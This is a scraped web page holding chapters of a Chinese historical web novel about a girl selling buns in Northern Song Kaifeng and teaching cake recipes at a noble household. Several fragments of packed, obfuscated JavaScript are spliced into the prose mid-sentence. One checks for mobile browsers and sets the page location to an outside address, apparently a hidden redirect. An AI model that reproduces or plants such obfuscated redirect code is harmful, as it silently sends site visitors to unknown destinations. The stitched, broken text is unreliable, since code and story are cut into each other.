d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222014|181557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议。 崔琢也是一样的表情。 “给我夹一个！”两人同时开口，面面相觑。 崔琢面无表情，抿唇。 谢昀挠挠头，一脸惊奇，“这肉好香！崔四，你也觉得好吃吧！” 崔琢：“嗯。” 元英这次学聪明了，也尝了一口。他瞪大了眼睛。 “郎君，元宝也吃！” 元英忙道：“元英也要！” 谢昀回头瞧云安。 云安板着脸，“奴也要。” “来十个！” 黄樱笑眯眯地，“好嘞！” 她麻溜儿捡出来几块肉，熟练地在案板上剁碎，夹进饼子里，浇上汤汁，递过去，“您的猪肉夹饼咧！” 等周琦几个出来，远远便瞧见谢昀这厮站在小娘子炉火前狼吞虎咽。 就连最斯文的崔四郎，竟也跟他一起站在那儿吃。 风将锅里的香味儿吹了过来，街上的人没有不回头瞧的。 周琦吸了吸鼻子。 “好香！”吴钰立马看向那小摊，“是黄小娘子！” 他直直往那处走去。 谢昀几个吃得心满意足，赞不绝口，一道讨人厌的声音传来，他不用回头，哼了一声。 “给小爷夹十个！” 黄樱笑着抬头，“对不住小郎君，剩下这些肉只能夹三个呢。” 周琦瞪了谢昀一眼，“那便三个！” 黄樱从聊天中听到两人都排行四，她笑着将两人要带的饼夹好递过去。 云安将钱拿给黄父。谢昀拉着崔琢，头也不回走了。 黄樱从锅里捞出最后三条肉，剁碎夹好递给周琦。 周琦立即咬了一口，被烫了，直吸口水。 吴钰瞪大眼睛，“这饼好生稀奇，我竟从没吃过。肉也格外不同。” 满满当当一口下去，饼柔软、麦香十足，肉浓郁、软烂极了，无数香料的风味儿，香得人惊奇。 真绝了！ 只可惜吃完一个，他还没饱呢！ 韩修目光掠过黄樱和旁边的一大一小。 他也吃完了。岂止不错，比他们家厨娘做的还好。他于香料有所涉猎，略微分辨出几样的味道。 周琦咂摸着嘴巴，“小娘子，你何时开个饼店才好，这样卖不够吃。” 黄樱笑：“承小郎君吉言呢！日后定要开店的。” 宁丫头昂起小脑袋，不时瞧向他们满足陶醉的脸。 黄樱跟爹将东西收拾好，便挑着担子回家。 正好黄父的担子重，她让黄父和宁姐儿去买肉，她则去买大头的米面粮油鸡子之类。 猪肉夹饼头一回卖，她只做了六十个饼，家里还有些面，但不多了。 她如今做的只有不够卖的，没有卖不完的，还是得早早谋划个摊位才好。 六十个猪肉夹饼，一个二十文，共赚1200文。抛去买肉360文、柴100文，麦面60文，香料300文，净赚380文，利润率大概30%。 不管怎么说，如今她袋子里新增了一贯两百文钱呐！ 15. 梁毓偷带糖 015 梁毓下了学，走出斋堂，其他人自有书童背书笼，前呼后拥，商量上哪家分茶店亦或去瓦肆中听评书，看杂剧、傀儡戏…… 国子学分甲乙丙丁戊己六舍，一般而言，甲、乙舍国子生家中官职较高，比如王琰，乃同平章事——宰相家的六郎。 但也有例外，若公试得上等，亦可升舍。 他便是这样升上来的。 他瞧见王琰一出斋堂，立即有一群丙、丁舍的学生簇拥上前，众心捧月，说说笑笑。 梁毓背好自个儿的书笼，将视线收回，沉默着回家。 他们家是配不起书童的。 刚走出大门，有人喊他，“梁毓。” 吴墉笑着上前，“今儿怎这般快？” 吴墉跟他差不多，父亲乃七品司天监丞，如今在乙舍。 “你怎这般早？”梁毓也笑。 “他们听说水柜街有个小娘子做得一手甚麽鸡子糕，急着走呢，没为难我。” 两人走一段路，便各自回家了。 梁毓家住城南，走路离国子监半个时辰，爹每日坐轿去大内上值需一个时辰，奶常念叨住得太远。 想到王六郎给的乳糖狮子和糖霜蜂儿，他高兴了些，加快脚步，几乎是跑回去，气喘吁吁迈进院门。 这院里住了几家人，都是七八品官，领着不高的俸禄，养活一大家子，过得精打细算。 他们家有四间屋子，三间住人，一间是爹的书房。 他听见了菡姐儿的哭声，忙跑进去，奶正抱着瑾哥儿，一巴掌掴在菡姐儿脸上。 娘忙去拉，奶指着她骂骂叨叨，“甚麽时辰了，饭还没好，瑾哥儿都饿哭了！” 娘细声细气地赔不是，拉着满脸泪的菡姐儿去灶房。 “奶，我回来了。”梁毓轻轻将书笼放到爹书房。 梁老太凶神恶煞的脸立即笑容满面，“乖孙回来啦，奶今儿买了猪肉，给你们父子好生补一补。” 梁毓“嗯”了一声。 晚上那盘猪肉炖菘菜，爹吃了一大半，瑾哥儿吃了一半，剩下的奶都捡到了梁毓碗里。 他沉默着吃下去。 巷子里来了敲锣打鼓的货郎，瑾哥儿嚷着要吃饴糖，奶拗不过，带他出去买。 爹在书房喝酒，与西屋的王主簿作诗，羡慕同僚家新买了婢女伺候，“有酒醉嘉客，无钱买娇鬟”。① 梁毓去灶房，娘跟大姐儿、二姐儿正端着粗瓷碗，坐在凳上喝粟米汤。 瞧见他进来，梁曦和梁菡忙起来，“毓哥儿，怎了？你没吃饱？” 梁毓忙摆手，“没。” 他朝外瞧了眼，进来时帘子放下了。 他从袖中掏出油纸包，摸摸菡姐儿肿起的脸，“这是学堂里同窗给我的，我吃了好多，你们偷偷吃掉，别让奶发现。” “糖！”菡姐儿瞪大眼睛。 “瑾哥儿——”梁曦有些迟疑。 “他吃的还少？你们吃。” 梁娘子揪着衣襟，“毓哥儿，要不——” 梁毓摆摆手，“你们吃，被奶发现可就吃不了了。” 梁曦咬牙，咬了一口乳糖狮子，剩下一掰两半，分别塞娘和二姐儿嘴里。 梁娘子呆了，“好甜。” 梁毓这才笑了笑，掀帘出去了。 * 另一边，黄樱打量着市井里各个铺儿，想起早上允哥儿期待的眼神，有些心虚。 她给宁姐儿买绢花是一时兴起，忘了宁哥儿。上辈子她是独生女，没考虑过小孩儿很容易因为父母偏心而心生不安、自卑、不配得感。 允哥儿又是个敏感的性子。 她在一个货郎的担子前停下，旁边已有一群小孩儿拉着扯着爹娘欢呼。 那担儿上琳琅满目摆满了小玩意儿，什么拨浪鼓、小竹篓呐，千千车、打娇惜呐，不倒翁、铃铛、小灯笼，小面具、风筝、噗噗噔……上百种是有的，黄樱看得眼花缭乱。 她直咋舌，不愧是经济发达的北宋呐。 货郎笑呵呵地对那娘子夸她怀中小孩儿：“好伶俐小郎，生得磨喝乐模样儿。” 闻言，娘子果然很高兴，买了个小孩指的红色宝塔儿。 黄樱笑，磨喝乐乃梵文音译，是一种风靡宋朝的泥偶，大概类似于现代的芭比娃娃。小孩儿还爱学磨喝乐的样儿，尤其七夕的时候，小孩儿都要顶着荷叶玩，跟磨喝乐一个造型。 她拿起一个千千车，——也就是陀螺，发现是木质的，又放下了。 爹自个都能做呢。 她犯了难，小女孩儿喜欢的东西她知道，小男孩喜欢甚？ 瞧来瞧去，她眼睛定在一个悬丝猫儿上。 做工粗糙，难得的是猫儿的神态很憨，胖嘟嘟的自有其可爱，提动绑着丝线的小木棍儿，猫的脖子和腿脚都能动起来。 旁边还有悬丝傀儡、悬丝狮豹，做工精巧，色泽鲜艳，栩栩如生，但显然价格不便宜，她买不起。 北宋很流行悬丝傀儡——提线木偶，不光瓦子里有各种表演，每逢节庆，更是有许多教坊里出名的弟子演出，老百姓都能看！ “这悬丝猫儿怎卖？” 货郎是个满脸笑的老头儿，“二十文。” “忒贵！十文卖不卖？” “十文不卖。” 黄樱笑道，“你这猫儿颜色也褪了，木棍儿也霉了，不知放多久了，十文钱还不卖？再等到雨天儿，更没成色，十文都卖不了呢！” 老头拿过来瞧了一眼，“小娘子多少添些。” 黄樱摸出十一个铜子儿来，笑眯眯的。 老头：“罢，罢！” 黄樱喜滋滋地将小猫儿放好。 何时能真养只猫儿就好了，小家伙们定很喜欢。 她挑起担子，不敢多逛，到了王家磨坊门口，探头瞧了瞧。 这可是间大店，跟她前几日买麦面的小面铺不一样。 光听名儿，便知这家经营磨坊，面粉都是自家磨坊产的。 汴京城里统共也没几家水磨坊，这王家磨坊便是其中之一。 这可不简单呐。 东京城里的磨坊，像他们院里戚磨家的小作坊，都是石磨、驴子拉，产量很低，一般供应小面铺。 戚磨家收了定金，又遇上粮价上涨，本就赔得厉害，那些面铺又怕他们反悔，都催着交货，一时间哪里生产得出来呢？戚磨家一急，听人怂恿，与另一家汴河边的磨户伙同，在夜里偷引了汴河水，偏被人告发了。 汴河乃北宋大动脉，官府对水资源管理很严，水磨经营资格可不容易获取。 这头一道，汴河边建大型磨坊，光钱就不少；再者，得与都水监相熟，拿到水引才行。 这钱和权，两头都要占。 她进了面铺，店里人很不少，掌柜模样的中年男子皂衫角带，在拨弄算盘。 她自个儿担着担子瞧瞧看看。 富裕人家吃的“上白面”最是精细，反复研磨多次，数十次过筛，不含一丝儿麸皮，几乎与她空间里的白面细度差不多。一斤要二十文。 这种面粉一般做贵价糕点才用，那些糕饼铺子价都贵。 再者就是“头面”，细度就要次于上白面了，但也是极好的麦面，麸皮不多，一斤十文。 她前几日买的便是这种。 再次等的，便是穷人家买的“麸面”，相当于全麦面粉，研磨颗粒粗糙，一斤六文钱。 还有些粟面、豆面、荞麦面、糯米粉、粳米粉…… 瞧着这些，黄樱脑海里冒出绿豆酥、肠粉、红糖糍粑、南瓜饼、炒年糕、烤麻薯、驴打滚…… 口水要流下来了。 她买了十斤头面，一斤豆面，一斤糯米粉，一斤粳米粉，花了一百五十文钱。 主要是糯米粉贵，一斤要30文。 出了铺子，她的脚又痒了，只得忍着，看街上还有些甚麽来转移注意力。 这一瞧，她看见了一家刷牙铺，唤作“王家刷牙铺”。 店不大，挤在小小的拐角，东西整整齐齐，店里有个老妇人，怀里正抱个小丫头子哄，小丫头刚哭过，抽抽搭搭的，手里拿着拨浪鼓摇呢。 家里之前的刷牙子是马尾毛的，便宜，一个才五文钱，却忒硬，刷得牙龈疼。 黄樱用了一次，跟钢针似的，她是不敢用，这两日直接拿手指蘸了牙粉揩牙。 牙粉也是下等的，娘自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏玉娘点点几个人额头，“可不许到外头胡咧咧！旁人问起，就说赚不了几个钱，知道不！” “嗯！”宁丫头一本正经。 “晓得了娘。” 黄樱蹲下，凑到允哥儿跟前，“谁欺负俺们允哥儿了？怎地眼眶红红的呢？” 小孩儿扭过头，不说话，后脑圆圆的。 苏玉娘咬断麻线，熟练地打了个结，“甭管他，中午没让跟着去，憋屈呢。一个个都是祖宗。” 黄樱一瞧，小孩儿眨巴眨巴眼睛，泪珠子往下掉，也不吭声，默默地哭。 她失笑，“娘刀子嘴豆腐心，她怕你发热，你昨晚一个劲儿喊冷忘啦？你的新袄还没好呢，二姐儿伤寒险些醒不过来你不怕？” “怕。”小孩揉揉眼睛。 黄樱将他抱在怀里，拍了拍，“以后有的是机会去外头呢。” “嗯。” “真乖！” 黄樱偷偷往他嘴里塞一块糖。 宁姐儿敏锐地瞧过来。 黄樱赶紧也给她一块儿，小丫头抿唇一笑，两个酒窝儿，“外头有甚么好，风吹得我头都疼，冷得很！” 允哥儿抿唇。 黄樱将背在身后的悬丝猫儿拿出来，掌心托着，笑眯眯道，“你瞧，这是甚？” 允哥儿低头，一只圆滚滚的黑猫坐在二姐儿掌心。 他张大嘴巴。 宁姐儿忙凑过来，惊呼，“悬丝的！” 黄樱放到小孩手里，“这是给允哥儿的。” 宁丫头急得，“快玩！快玩！” 两个小孩头凑在一块儿，宁丫头的惊呼声不时传来。 允哥儿抿嘴笑，眼睛亮晶晶的。 黄樱视线跟娘对上，有些心虚。 黄娘子吊起眉，“我是吃人的大虫？你自个儿赚的钱，依你罢。只手也不能太松。” 黄樱笑着揽了娘的脖颈，“娘最好啦。” “把你那嘴甜的本事教教你爹！”说是这样说，黄娘子却很受用。 她数着钱，真哥儿在旁边爬来爬去，宁丫头和允哥儿咯咯笑着玩悬丝猫儿，炉膛里火烧得旺，屋子里暖乎乎的。 黄樱去厨房将猪肉洗干净了便立即炖上。早上那一锅煮肉的老汤她留了些出来，也加进去。 刚和好面，门口传来陌生的人声。 “敢问卖炊饼的黄家住这儿么？” 黄樱掀起帘子一瞧，是个梳着包髻，穿褐色对襟窄袖短褙子、长襦裙的中年娘子。 16. 坐轿访内城 016 院中其他人家都出来瞧。 黄樱忙擦了手，掀帘走出去，笑着道，“是我家，敢问娘子是——” 妇人瞧见黄樱，笑着上前，“这位想必是那黄小娘子罢？我家小郎君甚爱小娘子的鸡子糕，家中娘子特派我来接小娘子到府上请教呢。” 黄樱这才瞧见门外还有两顶青绸轿，另各有四个抬轿的小厮。 苏玉娘拄着拐出来，打量了一番这娘子。 她也是见过世面的，搭眼一瞧，便知道这是大户人家出来的，通身气度，说话不紧不慢，那股子笑不多一分不少一分，寻常百姓身上难见。 这种人最难打交道，忒老道。她不待见这种八百个心眼子的人，以前在教坊，没少见。 黄樱笑着道：“我知晓，这便跟娘子走，娘子稍等，灶上的事儿我得交代给娘。” “自然，小娘子不必急着。” 黄樱将做饼和卤肉看火的事儿交给娘。上午烙饼娘在一旁瞧得清清楚楚，卤肉全程小火就行，爹能看。 “你去罢。”苏玉娘拉着她的手，“若有人欺负你，你也不必怕。咱们没做亏心事儿，不能白受气。” “我晓得，娘。” 黄樱从屋里出来，将腰间青花布巾子解下来，身边跟着两个小孩儿。 那娘子瞧了眼，黄樱笑，“小孩儿闹着要出门子，也好帮我打下手。” 既然有轿子，两个小孩儿稀罕，让他们坐坐又何妨。 再者那高门大户，这辈子也没机会进去呢，让小孩儿见识见识也没甚不好，省得将来眼皮子浅，被人骗。 不过他们衣着显然寒酸，免不了要被人瞧不起就是。 这也难免。 她问心无愧，怕甚么。 两个小孩儿紧紧挨着她，那中年娘子甚是客气，以待客之礼将她请上轿子，吩咐：“走罢。” 这轿也是棕檐子，能防雨雪，用的是青绸帘，旁有小窗，里头只一坐塌，应当是家中下人娘子进出所用。 黄樱将两个小孩儿抱上去，一左一右揽着，“一会儿到了，你们只跟着我，不用怕，知道么？” “嗯！” 黄樱笑笑。 小孩儿趴到窗前，掀开帘子往外瞧。 麦稍巷往西是御街，东京人喜欢叫做“天街”，所谓“州桥南北是天街”嘛。① 两边饮食铺子林立。 他们普通人家，逢节庆也少不了往大相国寺、宣德楼挤。这在宁姐儿和允哥儿印象里，可是只有过节才去的。 两个小家伙一路都很兴奋。 跟黄樱小时候过年去赶集一样的。 天街从大内宣德门直到南熏门，足有三公里，进了朱雀门，便到了内城，御街有两百余步宽。 黄樱头一次来，眼睛要看不过来了。 街上都是香味儿，卖什么的都有。 薛家羊饭铺里的羊肉味儿飘过来，黄樱打眼一瞧，食客碗里热气腾腾，吃得满头大汗。 还有人把肥底熝肉蘸些椒盐，卷做一卷，一口下去，满脸陶醉。 宁丫头口水流下来了。 再往前，唐家金银铺、温州漆器什物铺、百钟圆药铺……都是上等好货，有钱人的购物天堂。 这么冷的天儿，小贩们热情丝毫不减，唱卖声此起彼伏，唱歌一样哎！ 托着盘儿卖炙鸡、爊鸭的，卖脆筋、羊脚子的……熙熙攘攘，车水马龙。 路过王楼山洞梅花包子，好大的铺子！人都满了！ 到了州桥，更是人声鼎沸。 如今才二月，汴河还未开，两岸依旧人烟如织。 御街对面遇仙正店前，彩楼欢门高数丈，三层楼阁甚是壮丽，楼上彩衣高髻的妓女们打扮得花枝招展，望之有如神仙。 两个小孩儿看呆了。 宁丫头咬着手指，“她们衣裳真好看。” 黄樱瞧了眼，“她们赚钱也不容易。这般冷的天儿，穿这样少。” “是哦。”宁姐儿忙缩了缩脖子。 宣德门到朱雀门一带挤满了衙门。东京城里住宅紧张，皇城也不大，塞不下那么多衙门，都在这一带，挤得满满当当。 他们沿着景灵东宫南门大街，经过大相国寺后门，一路铺席繁华，黄樱看得眼馋。 这里靠近皇宫大内，铺席租金怕是成百贯钱。 北宋的皇城，宋人习惯称“大内”，跟历朝历代所有皇宫都不一样，格外接地气儿。 这大内外头便是市井铺席，小商小贩叫卖也有。 尤其东华门外，市井最盛。 禁中每日采买，都在此处。 有时候小贩得了新鲜物儿，在东华门能卖个好价钱。新上市的茄瓠，宫里的贵人能花几十贯钱买。 可谓汇聚了天下奇珍。 “到了。” 轿子一停，眼前是一座宅子后门，绿墙青瓦，好生气派。 那娘子笑着来揭帘儿，“小娘子随我来。” “娘子如何称呼？” “主子都唤我刘娘子。” “刘妈妈。” “哎！” “黄小娘子是大娘子请来的客，若有那没眼色的，小娘子只管跟我说。” 黄樱笑道，“谢刘妈妈。” 她牵着小孩儿，不紧不慢跟着刘妈妈进去。 看门的婆子瞧见刘妈妈，笑着迎上前，“什么风儿把您刮来了，这么冷的天儿，怎亲自去外头呢？快到屋里吃一盏茶暖暖身子！” 她在黄樱几个身上打量了一眼儿，那眼神像奢侈品店的销售，轻飘飘的，一眼就将人看了个高低贵贱。 允哥儿往黄樱身边靠了靠。 宁丫头仰头盯回去。 “这是——” 刘娘子：“大娘子请来的客，如今有要紧事，改日吃你的茶。” 她也不啰嗦，“小娘子随我来。” 带着黄樱几个穿过回廊。 宅子很大。 几百楹房屋是有的。 若是买，怕得数百万贯，真东京豪宅。 冬日里园子竟也姹紫嫣红，黄樱吃了一惊。 两个小孩更不必说，看什么都稀奇，难得的，他们并不东张西望，只是捏紧的手显示了紧张。 刘娘子交待，“大娘子喜静，寻常是不出来的，我去请教，若是肯见，便是小娘子今儿的大造化，若是不见也无妨，这回小娘子教的是老夫人厨屋里的，赏钱自是少不了。” “前头是郎君们的院儿，小娘子不可去。府上几位小娘子若是碰上了，行礼问个好便是。” “晓得了。多谢刘妈妈提点。” 一路七拐八拐，好容易到了一个院子外头。早有人候着了。 打头的娘子瞧见她，吃了一惊。 “这是乌娘子，专管糕饼的。此次便是她跟你学。” 黄樱笑：“乌娘子。” “万万想不到小娘子这样年纪小！可真是英雄出少年！” 黄樱笑着随他们进去。 乌娘子拿了自己做的桂花糕给两个小孩儿。 小孩儿看向黄樱。 “拿着罢，谢过乌妈妈。” “谢谢乌妈妈。” “真乖！不像我家皮猴儿，气煞我。”乌娘子让小丫头子拿了两个凳儿，陪着小娃娃一起玩。 黄樱心里对这家人感官不错。 她笑：“我们这便开始罢。” “好！” 乌娘子可是真真尝过那鸡子糕的，她对黄樱是真佩服。此时瞧着她这样年轻，心里更是五味陈杂。 听说她不想来府上当厨娘，却愿意将做法交给旁人。换她是不肯的。 黄樱先说需要的原料。 “最上等细白面、牛乳、糖霜、鸡子、米醋、油。这油最好是味道清香者为宜。” 乌娘子是见过世面的，这些东西中，糖霜和牛乳是最贵的，不过对她们来说也不算什么。 黄樱解释道，“我卖的鸡子糕自然用不起牛乳和糖霜，也没有油，我用的是水，滋味自然比不上用牛乳的。” 乌娘子将厨屋里的油都拿给她瞧。黄樱挨个闻过去，当闻到其中一个的时候，眼睛一亮，“便用这个最好，有股茶的清香。” “小娘子好眼力，这便是岭南的茶油，价值千金呢。” “原来如此。娘子学会了也可以自己试着换一换，便知晓如何择油了。” 通常烘焙用的油是无色无味的玉米油。她用橄榄油做过蛋糕卷，做出来带着橄榄的清香，虽然很多人说不适合，但她莫名很喜欢。 为了减轻负担，她还用酸奶做过无油版本，只是比不上有油的湿润。 乌娘子很快将其他材料备齐了。 北宋制不出她仓库里那样洁白晶莹的白砂糖，乌娘子拿的上等货已是最好的糖霜，很像现代的黄.冰糖，呈块状结晶，颜色浅黄带紫晕。 她教乌娘子将糖碾成细沫儿，越细越好。 这也是黄樱爽快答应谢小郎君的原因。只有这样的大户人家，才有实力拿出所有材料呐。便是谢府缺了哪样，她也有替代办法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她教乌娘子打发了好几种状态，然后跟蛋黄糊混合均匀，倒入小碗中上锅蒸。 “用窑炉烤亦可，只是需得找到合适的火候。我家中还未建好，娘子若有机会可一试。” 乌娘子已经拉着她的手，比亲闺女还亲了，“真真儿开眼了！难为你肯教与我，我真不知说什麼才好！” 竟是红了眼眶。 想她也是穷苦人家出身，不然谁愿意自家闺女去当厨娘呢！又苦又累！ 小时候为学厨艺，没少吃苦，教导的师傅打骂欺压是常事儿，多少日子都熬过来了，什么牛鬼蛇神没见过，没成想今儿竟让一个十四岁的小娘子教导，还是这样了不得的手艺。 从没有受过别人这般慷慨的她一下子有些说不上来的酸涩。 黄樱都有些吃惊，忙道，“这算不得甚么，也是机缘巧合看到的法子，没成想真能行。算不得我自个儿的东西，娘子不必有负担，只感谢将这法子写书流传的人罢。” 乌娘子：“瞧我，在小娘子跟前现眼了。日后小娘子若有事，只管找我，后门上有个王婆子，她与我同乡，定会帮小娘子传话的。” 黄樱笑：“那便谢过乌妈妈。” 正说着，门上来了个光彩耀人的小娘子，身后还跟着两个梳双丫髻的婢女。 黄樱穿来这样久，所见多是市井娘子，打扮多简朴，颜色也简单，不过黑白青。 这小娘子一瞧便是官宦人家的女儿了。 梳的也是双环髻，只不过发饰可就精美太多，光是那珍珠串成的栀子花簪子，栩栩如生，莹白如玉，价值就不止几十贯钱。 府上婢女穿着也鲜艳，耦合色袄，碧色褙子，绣花百褶裙儿，冬日里真养眼。 更让她移不开视线的是，这小娘子怀里抱了只狮猫儿！ 短脸，背上是黄色的长长的毛，胸腹是白色，尾巴又大又蓬松，正调皮地抓小娘子的头发玩儿！ “小於菟。”谢敏将它的爪子握住。 两个小孩子倚着黄樱，瞪大眼睛定定瞧着。 乖乖，这狮猫乃宋朝名贵宠物猫，不能捕鼠，贵族人家很喜欢，一只价值数贯钱。 谢家的两个小郎君长得都好看，小娘子自也不必说。 皮肤白皙，年龄瞧着比她大些，十六七，真真儿大美人。 那小娘子开口，声音温和，“祖母的鸡子糕可好了？” 乌娘子忙擦了手，上前道，“天儿冷，大姐儿怎亲自来呢，着了凉大娘子岂不心疼，鸡子糕还需些时候，不如回老夫人院里，好了奴送去呢。” “不妨。”谢敏手里握着一个缠枝牡丹刻花青瓷手炉，将视线投向黄樱和乖乖坐在凳上吃糕的小孩儿。 黄樱上前行了个叉手礼，“奴是来教鸡子糕的，见过小娘子。” 这北宋女子自谦称“奴”，她不太习惯，一般都不用，除非这种情况，再说“我”可就是对人家不尊敬了。 17. 偷偷撸狮猫 017 “鸡子糕竟是小娘子做的么？我吃着比尚食局做的糕饼也不差了。” “承蒙小娘子夸赞，市井吃食，怎敢跟尚食局相提并论，折煞奴了。”黄樱笑。 尚食局可是大内宫廷御厨房。 谢敏没想是个利落干净的小丫头，瞧着眼神清明，眉眼带笑，有股子洒脱劲儿。 莫名讨人喜欢。 她见宁姐儿和允哥儿乖巧，长得也可爱，将手中的青瓷手炉放到宁丫头手里，“拿着暖手罢。是府上招待不周，小娘子见谅才是。” 身后婢女也将自己的放到允哥儿手中。 黄樱有些惊讶。 宁丫头小脸紧绷，一板一眼道：“小娘子的东西，宁姐儿不能收。” 谢敏挑眉，当真是惊讶了，“好聪慧的小丫头。拿着罢，没什么不能收的，你阿姊帮了我们家大忙呢，这算不得什么。” 黄樱笑道，”那便多谢小娘子。“ “不必客气。” 得知鸡子糕很快便好，谢敏带着婢女走了。 黄樱估摸着是去给老夫人回话。 鸡子糕没一会儿出炉，厨屋里都是红枣和鸡子的香味儿。 乌娘子说大娘子不喜枣，故而也有原味的。 她按黄樱教的，做了几种不同打发程度的，自个儿都尝了，她喜欢硬一点的，更蓬松。也有娘子喜欢软一点的，湿润些。 乌娘子让她且等一等，她先将鸡子糕送过去，主子定要赏的。 黄樱便留下了，厨房里其他娘子也纷纷来请教，黄樱没有藏私，关于鸡子糕，可以尝试的口味、乃至各种方子，她都倾囊相授。 一堆人围着她探讨，这些娘子们都有一身好本事，有的擅侍弄面饼，有的擅鱼肉，有的擅汤羹…… 此时探讨起来，热火朝天。 黄樱笑。她自觉做饭是一种艺术，面包是发酵的艺术，烹饪是调味的艺术。 这里的都是身怀绝技的艺术家。 “黄小娘子——” 众人回头，乌娘子满脸喜色，“小娘子快随我来，老夫人和大娘子要见一见小娘子呢！” 黄樱是真有些惊讶。 说到底，谢家这样的人家，对她如今的身份来说，岂止是天堑。 这位老夫人的出身她也听说了，那是真真儿的天之娇女，也是书香门第，大儒之女。 本以为得个赏也就回了。 她摸摸宁丫头和允哥儿的头，“二姐儿去去便回，你们乖乖待着好么？” “嗯！” “劳烦各位娘子照看他们。” “小娘子放心便是！” 黄樱解下腰间褐色巾子，随乌娘子走了。 老夫人的院子离灶房近，穿过园子便是了。这是一间三进的院子。两边一溜儿厢房，中间穿过天井，他们沿着游廊，绕过一个满是梅花的园子。 黄樱感觉置身江南园林。老夫人果真清雅，很有品位呐。 廊下挂着各色鸟儿，五颜六色的，很是热闹。小丫头们也是穿金戴银的，花红柳绿，有的坐在台矶上，有的倚着门槛说笑，瞧见人来，忙站起来。 黄樱都有些受宠若惊。笑了笑。 “三郎君回来啦！老夫人才说呢！” 她才瞧见，对面游廊走来一个郎君，还是个熟人。 乌娘子也忙上前见礼，“三郎君。” “嗯。”谢晦视线在黄樱身上一扫，脚下停住。 小丫头身上像带着水汽，清晨山林里的一般。 黄樱跟着行了万福，笑道，“托郎君的福，奴来府上教鸡子糕呢。” “有劳娘子。”谢晦颔首。 天儿阴着，黄樱正好站在一丛绿萼梅旁，寒风瑟瑟，她鼻尖冻得发红，圆脸上笑意盈盈。 待人走远了，乌娘子轻声道，“这是老夫人最疼的三郎君，今儿旬休才回。老夫人定很高兴呢。” 她真心实意替黄樱开心。 “谢乌妈妈。”黄樱领她的好意，方才在老夫人面前，乌妈妈定是替她说了好话。 不过，市井闲话她听说过一些，尤其谢二郎出家那阵子，这谢府的八卦满城风雨。 谢大郎和二郎乃谢相公原配娘子所生，如今的谢家大娘子乃续弦，还是原配的庶妹，她生了谢三郎和谢四郎。 府上还有些小娘子，乃妾室所出。 外界都说这大娘子对原配两个郎君视如己出，比三郎四郎还要好。 到了门上，乌妈妈和黄樱都在外头候着，等门上的婆子去传话。 里头欢笑声一阵一阵的，黄樱瞧见屋檐上的雪都震落了。 院子里有小丫头提着篮儿在剪梅。梅园里红的、黄的、绿的都有，当真是富贵人家。 绣额门帘掀开，一张俏生生的脸钻出来，笑呵呵道，“老夫人唤小娘子进去呢。” 里头的笑声也溢了出来。 翠屏上下打量了一眼黄樱，笑，“老夫人甚喜欢小娘子的手艺。” “翠屏娘子。”乌娘子忙打招呼。 “随我来。” 黄樱只觉得满屋子都是人。 她只看了一眼便低下头，只瞧见上首有位老太太，还有几个不同年龄的娘子、郎君，她见过的两位郎君也在，也有几个陌生面孔。 剩下满地的丫鬟婆子，穿的都是细绢、绸缎，头上都戴了绢花、珍珠、金银簪，晃人眼睛。 她感觉自个儿今儿是刘姥姥进大观园。 乌娘子拉着她给各位主子问好。 “好丫头，上前来，老身瞧瞧。” 黄樱只得上前，行了万福，笑着道，“问老夫人安。” “好生伶俐的小丫头。乌娘子说，你这鸡子糕味道又有好几样，松软也各不同，我最喜欢这个湿润些的，真真儿好巧的手。” 一双温暖干燥的手握上她的，她有些不习惯，便低下头去。 “托老夫人的福，奴也是机缘巧合从别处学到的。自个儿哪能琢磨出这样的东西呢。” “好孩子。难为你了，天这样寒还跑一趟，真真儿是老身太折腾人。” “能见到老夫人，也是奴的福气呢，风里雪里的，自小儿习惯了，算不得甚么。” “我老人家，牙口不好，你还教他们做馒头的法子呢，真是个好孩子。” 谢敏捂着团扇笑，“老夫人再夸，敏姐儿可不依了！老夫人才收了人家的鞋！” 谢大娘子也笑，“老夫人快瞧，小娘子头都要低到地上了，老夫人要把人脖子累坏了不成？” 满屋子丫鬟婆子都笑。 笑声真把屋顶的雪要震下去了。 黄樱总算知道为何外头能听见那样大的笑声呢。 她依着红了红脸，垂眸，视线落在那狮猫儿上。 方才没看清，这抱着狮猫儿的手该是个小郎君的，指节分明，猫儿翻了身，敞开肚皮任那手摸，这手的骨骼，她那学画儿的表妹定很喜欢。 只不过……黄樱瞧着那手逗弄猫儿，透着股不紧不慢，漫不经心的劲儿，可不像是喜欢猫，反而透着看笑话的意思。 小猫咪傻乎乎的，极欢喜模样儿。 黄樱眼馋坏了，她也想摸两把。 才想了一下子，那猫蓦地“喵呜”一声，一窜而下。 黄樱没堤防，猫儿已到了脚下。 屋子里一阵手忙脚乱，丫鬟们都围着，却不敢上手，不知忌讳甚麽。 “哎呀小於菟！” 黄樱眼疾手快赶紧蹲下去抱，趁机乱摸两把，好软的毛！手感真好！ 一只手伸来，中指指腹还残留着墨汁儿，有股墨香，握笔磨出的茧子很明显。 黄樱认出这是抱着猫儿的那双手，她抬头，对上小郎君平静的眸光。 她笑得眉眼弯弯，将猫放到谢晦手中，指腹不小心碰到他的手，她咋舌，小郎君骨架子真大，一只手便抵得上她两只！ 谢晦垂眸，抱着猫儿起身，回到老太太身边。 “哎呦怪道小於菟往底下跑呢！快瞧瞧！”翠屏从地上抓起一个麦秸编的草蜻蜓，拿在手里那翅膀还会颤呢。 她打趣道，“哪个小丫头还玩儿这个呢！” 老太太笑道，“怕不是老身屋里的小丫头，而是外头来的罢？” 她戏谑地笑着，向谢昀瞧去。 “哎！我说怎不见了，原来落在这屋里！”谢昀跳下去，从翠屏手里拿过来。 果然，那狮猫儿一双鸳鸯眼跟着竹蜻蜓一转一转的。 谢昀便兴奋地在那逗猫，只不敢上手抓，他三哥儿的东西是不许人碰的。 幸好方才黄小娘子是客。不然三哥儿能当场作出拿帕子洗猫的事儿。 